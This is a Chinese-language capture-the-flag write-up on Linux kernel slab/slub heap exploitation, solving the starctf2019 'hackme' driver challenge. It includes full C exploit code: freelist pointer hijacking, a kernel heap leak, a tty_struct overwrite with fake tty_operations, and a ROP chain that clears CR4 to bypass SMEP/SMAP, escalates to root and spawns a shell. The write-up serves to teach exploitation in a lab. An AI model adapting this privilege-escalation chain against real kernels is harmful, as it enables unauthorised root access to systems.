Linux内核使用的是slab/slub分配器,与glibc下的ptmalloc有许多类似的地方。比如kfree后,原来的用户数据区的前8字节会有指向下一个空闲块的指针。如果用户请求的大小在空闲的堆块里有满足要求的,则直接取出。
通过调试,可以发现,被释放的堆的数据域前8字节正好指向下一个空闲堆的数据域
与glibc下的ptmalloc2不同的是,slab/slub分配的堆的大小不是数据域加头结构的大小,而是与slab/slub里面的内存“桶”对齐的。我们可以查看slab/slub有哪些“桶”,以root身份,在终端输入
我们看到,有这些桶,比如8K的,专门管理8K的堆空间,16字节的专门管理16字节的堆空间。而我们申请的空间大小,是向上对齐,比如,我们要申请600字节的空间,那么slab分配的空间大小实际为1K。并且,大小相同的堆靠在一起。
因此,如果要利用溢出写的话,应该以实际大小来计算偏移等。
还有一个比较容易利用的就是,我们如果可以伪造空闲块的next指针,则可以很容易分配到我们想要读写的地方,不像ptmalloc2里的堆那样,还需要伪造堆结构,这里只需要更改next指针,即可达到目的,为了加深理解,我们以starctf2019-hackme这题为例
首先,查看一下启动脚本,发现,开启了smap、smep机制,这意味着,内核态里面不能直接访问用户态的数据,而应该拷贝到内核的空间;内核态不能执行用户空间的代码,否则会触发页错误。
然后,我们用IDA分析一下驱动文件hackme.ko
类似于用户态程序常规的增删改查堆题
经过分析,用户态需要传入的数据结构体为
漏洞点在于offset和user_buf_len是有符号数,那么,我们就能一个传入负数,一个传入正数,实现堆溢出,我们可以轻松的向上溢出,修改前面的区域。
首先,不急于做题
为了证明我们可以轻松的伪造空闲堆的前八字节的next指针,从而达到分配到任意地址,我们做个试验。那么,我们需要先关闭smap机制,在脚本里把它注释掉。然后,我们通过溢出,修改next指针,看看,这里是test.c
#include
#include
#include
#include
#include
#include
//驱动的fd
int fd;
void initFD() {
fd = open("/dev/hackme",O_RDWR);
if (fd < 0) {
printf("open file error!!\n");
exit(-1);
}
}
//发送给驱动的数据结构
struct Data {
uint32_t index; //下标
uint32_t padding; //填充
char *buf; //用户的数据
int64_t buf_len; //用户的数据的长度
int64_t offset; //偏移
};
//创建堆
void create(unsigned int index,char *buf,int64_t len) {
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = 0;
ioctl(fd,0x30000,&data);
}
void kdelete(unsigned int index) {
struct Data data;
data.index = index;
ioctl(fd,0x30001,&data);
}
void edit(unsigned int index,char *buf,int64_t len,int64_t offset){
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = offset;
ioctl(fd,0x30002,&data);
}
void readBuf(unsigned int index,char *buf,int64_t len,int64_t offset) {
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = offset;
ioctl(fd,0x30003,&data);
}
char buf[0x1000] = {0};
char buf2[0x100]= {0};
void fillBuf() {
for (int i=0;i<0x1000;i++) {
buf[i] = 'a';
}
}
int main() {
initFD();
create(0,buf,0x100); //0
create(1,buf,0x100); //1
kdelete(0);
//修改堆0的next指针,指向我们用户区的buf2
((size_t *)buf)[0] = &buf2;
edit(1,buf,0x100,-0x100);
//为了看的清除,我们把buf填充上数据
fillBuf();
//分配堆0
create(0,buf,0x100); //0
//分配到buf2
create(2,buf,0x100); //2
//全程,我们没有给buf2填充,我们看看buf2现在的内容
printf("buf2=%s\n",buf2);
return 0;
}
程序执行后,结果是这样的
可以看到,我们通过伪造空闲堆块的next指针,就直接实现了任意地址的读写。这比用户态的堆简单多了。
那么,本题的解题思路自然是很多
我们可以在调试期间,修改启动脚本,使得系统一开始就是root权限,然后,我们查看一下cred_init的地址
然后,我们用IDA打开vmlinux文件,没有的话,可以用extract-vmlinux解压出来。根据地址后几字节,找到这个函数
我们查看函数,就能得到cred结构的大小
但是,由于cred结构的申请使用的是create_kmalloc_cache,这意味着它不大可能直接从我们这边的空闲堆块里取,而是从它的缓存空间里分配。
因此,我们来了一个可靠的
之前,我在https://blog.csdn.net/seaaseesa/article/details/104577501这篇博客里详细讲到了UAF控制tty_struct,这里是同样的道理,我们能够使用堆溢出来控制。本题,我们要还要克服一个限制,那就是smap机制,smap机制不让内核直接使用用户空间的数据,而我们的rop、伪造的fake_tty_operations都布置在用户空间的内存里。与smep一样,判断它们的开启与否,都是看cr4寄存器里的值,如果在之前能够有机会执行mov cr4,xxx,使得cr4寄存器的第21位为0,即可关闭smap机制。然而,比较难有这个机会,因此我们直接把这些数据复制一份到内核的堆里,即可绕过这个机制。
当我们把rop、fake_tty_operations布置在堆里,那么,我们还需要泄露堆地址,才能利用。泄露堆地址很简单,溢出读取前一个空闲堆块的next域即可。
直接上完整的exp
#include
#include
#include
#include
#include
#include
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0XFFFFFFFF81000000
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//swapgs ; popfq ; pop rbp ; ret
size_t SWAPGS = 0xffffffff81200c2e;
//iretq
size_t IRETQ = 0xFFFFFFFF81019356;
//commit_creds函数
size_t COMMIT_CREDS = 0xFFFFFFFF8104D220;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xFFFFFFFF8104D3D0;
//push rax ; pop rsp ; cmp qword ptr [rdi + 8], rdx ; jae 0xffffffff810608e8 ; ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810608d5;
size_t POP_RAX = 0xffffffff8101b5a1;
size_t POP_RSP = 0xffffffff810484f0;
//驱动的fd
int fd;
void initFD() {
fd = open("/dev/hackme",O_RDWR);
if (fd < 0) {
printf("open file error!!\n");
exit(-1);
}
}
//发送给驱动的数据结构
struct Data {
uint32_t index; //下标
uint32_t padding; //填充
char *buf; //用户的数据
int64_t buf_len; //用户的数据的长度
int64_t offset; //偏移
};
//创建堆
void create(unsigned int index,char *buf,int64_t len) {
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = 0;
ioctl(fd,0x30000,&data);
}
void kdelete(unsigned int index) {
struct Data data;
data.index = index;
ioctl(fd,0x30001,&data);
}
void edit(unsigned int index,char *buf,int64_t len,int64_t offset){
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = offset;
ioctl(fd,0x30002,&data);
}
void readBuf(unsigned int index,char *buf,int64_t len,int64_t offset) {
struct Data data;
data.index = index;
data.buf = buf;
data.buf_len = len;
data.offset = offset;
ioctl(fd,0x30003,&data);
}
char buf[0x1000] = {0};
//初始化函数和gadgets的地址
void init_addr(size_t kernel_base) {
MOV_CR4_RAX += kernel_base - RAW_KERNEL_BASE;
printf("mov_cr4_rax_addr=0x%lx\n",MOV_CR4_RAX);
SWAPGS += kernel_base - RAW_KERNEL_BASE;
printf("swapgs_addr=0x%lx\n",SWAPGS);
IRETQ += kernel_base - RAW_KERNEL_BASE;
printf("iretq_addr=0x%lx\n",IRETQ);
COMMIT_CREDS += kernel_base - RAW_KERNEL_BASE;
printf("commit_creds_addr=0x%lx\n",COMMIT_CREDS);
PREPARE_KERNEL_CRED += kernel_base - RAW_KERNEL_BASE;
printf("prepare_kernel_cred_addr=0x%lx\n",PREPARE_KERNEL_CRED);
PUSH_RAX_POP_RSP += kernel_base - RAW_KERNEL_BASE;
printf("push_rax_pop_rsp_addr=0x%lx\n",PUSH_RAX_POP_RSP);
POP_RSP += kernel_base - RAW_KERNEL_BASE;
printf("pop_rsp_addr=0x%lx\n",POP_RSP);
POP_RAX += kernel_base - RAW_KERNEL_BASE;
printf("pop_rax_addr=0x%lx\n",POP_RAX);
}
void getRoot() {
//函数指针
void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
//commit_creds(prepare_kernel_cred(0))
(*cc)((*pkc)(0));
}
void getShell() {
if (getuid() == 0) {
printf("[+]Rooted!!\n");
system("/bin/sh");
} else {
printf("[+]Root Fail!!\n");
}
}
size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
__asm__("mov %cs,user_cs;"
"mov %ss,user_ss;"
"mov %rsp,user_sp;"
"pushf;"
"pop user_flags;"
);
puts("user states have been saved!!");
}
int main() {
//保存用户态寄存器
saveUserState();
initFD();
//创建一个与TTY_STRUCT_SIZE结构体大小一样的堆
create(0,buf,TTY_STRUCT_SIZE);
//由slab分配器的性质,大小相同的堆挨在一起,所以我们
//再创建一个TTY_STRUCT_SIZE的堆,用于向上越界
create(1,buf,TTY_STRUCT_SIZE);
//释放大小为TTY_STRUCT_SIZE的第一个堆
kdelete(0);
//由于开启了smap,我们需要把ROP、fake_tty_operations这些放内核的堆空间里
create(2,buf,0x100);
create(3,buf,0x100);
kdelete(2);
//2里面会有下一个空闲块的地址,就能算出2的地址
readBuf(3,buf,0x100,-0x100);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
printf("heap2_addr=0x%lx\n",heap_addr);
//伪造tty_operations函数表
size_t fake_tty_operations[0x20];
//tty_struct结构申请到了堆0
int tty_fd = open("/dev/ptmx",O_RDWR);
//将tty_struct结构读取出来
readBuf(1,buf,REAL_HEAP_SIZE,-REAL_HEAP_SIZE);
//获得一个vmlinux里的某处地址,减去偏移,就是内核的基地址
size_t kernel_base = ((size_t *)buf)[3] - 0x625D80;
printf("kernel_base=0x%lx\n",kernel_base);
//初始化gadgets和函数的地址
init_addr(kernel_base);
//构造ROP
size_t rop[0x20];
int i = 0;
/*rop同时关闭了smap、semp*/
rop[i++] = POP_RAX;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RAX;
rop[i++] = 0;
rop[i++] = (size_t)getRoot;
rop[i++] = SWAPGS;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = IRETQ;
rop[i++] = (size_t)getShell;
rop[i++] = user_cs;
rop[i++] = user_flags;
rop[i++] = user_sp;
rop[i++] = user_ss;
//将rop保存到内核的堆里,绕过smap
create(2,(char *)rop,0x100);
size_t rop_addr = heap_addr;
//对tty_fd执行write,将触发这个gadget进行第一次转转移
fake_tty_operations[7] = PUSH_RAX_POP_RSP;
//栈再一次转移到rop数组里
fake_tty_operations[0] = POP_RSP;
fake_tty_operations[1] = rop_addr;
//将fake_tty_operations保存到内核的堆里,绕过smap
kdelete(3);
create(3,(char *)fake_tty_operations,0x100);
size_t fake_tty_operations_addr = heap_addr + 0x100;
((size_t *)buf)[3] = fake_tty_operations_addr; //篡改tty_operations指针
edit(1,buf,REAL_HEAP_SIZE,-REAL_HEAP_SIZE); //把篡改后的数据写回去
//触发栈转移,执行ROP
write(tty_fd,buf,0x10);
return 0;
}